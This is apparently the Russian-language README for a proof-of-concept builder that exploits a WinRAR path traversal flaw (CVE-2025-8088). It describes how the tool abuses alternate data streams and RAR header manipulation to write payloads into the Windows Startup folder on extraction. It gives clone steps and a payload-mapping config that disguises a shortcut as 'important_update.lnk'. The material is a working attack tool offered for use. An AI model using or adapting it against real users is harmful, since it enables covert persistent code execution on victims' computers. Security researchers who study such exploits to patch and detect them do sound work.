CVE-2025-8088-WinRAR-builder

POC-эксплойт для уязвимости WinRAR (CVE-2025-8088), затрагивающей версии 7.12 и ниже

🚀 Как это работает

1. Создаёт RAR-архив со встроенными другими полезными нагрузками
2. Использование нескольких ADS-потоков 🔄 — прикрепляет потоки полезных нагрузок с разной глубиной обхода пути
3. Манипулирует заголовками RAR ⚙️ — изменяет структуру архива для эксплуатации уязвимости обхода пути
4. Сбрасывает полезную нагрузку в автозагрузку 📂 — пытается записать полезную нагрузку в папку автозагрузки Windows при извлечении

🛠️ Использование

1. Клонируйте репозиторий

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Подготовьте полезные нагрузки

mkdir payloads

• Добавьте свои полезные нагрузки в эту папку (exe, dll, lnk, ...)
• Измените PAYLOAD_MAPPING в скрипте

# 2. Сопоставьте свою полезную нагрузку с соответствующим местом назначения
#   Формат: (имя_файла_в_папке_payloads, целевой_путь_извлечения)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Полезная нагрузка 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Полезная нагрузка 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Полезная нагрузка 3
    # Добавьте свою собственную    
]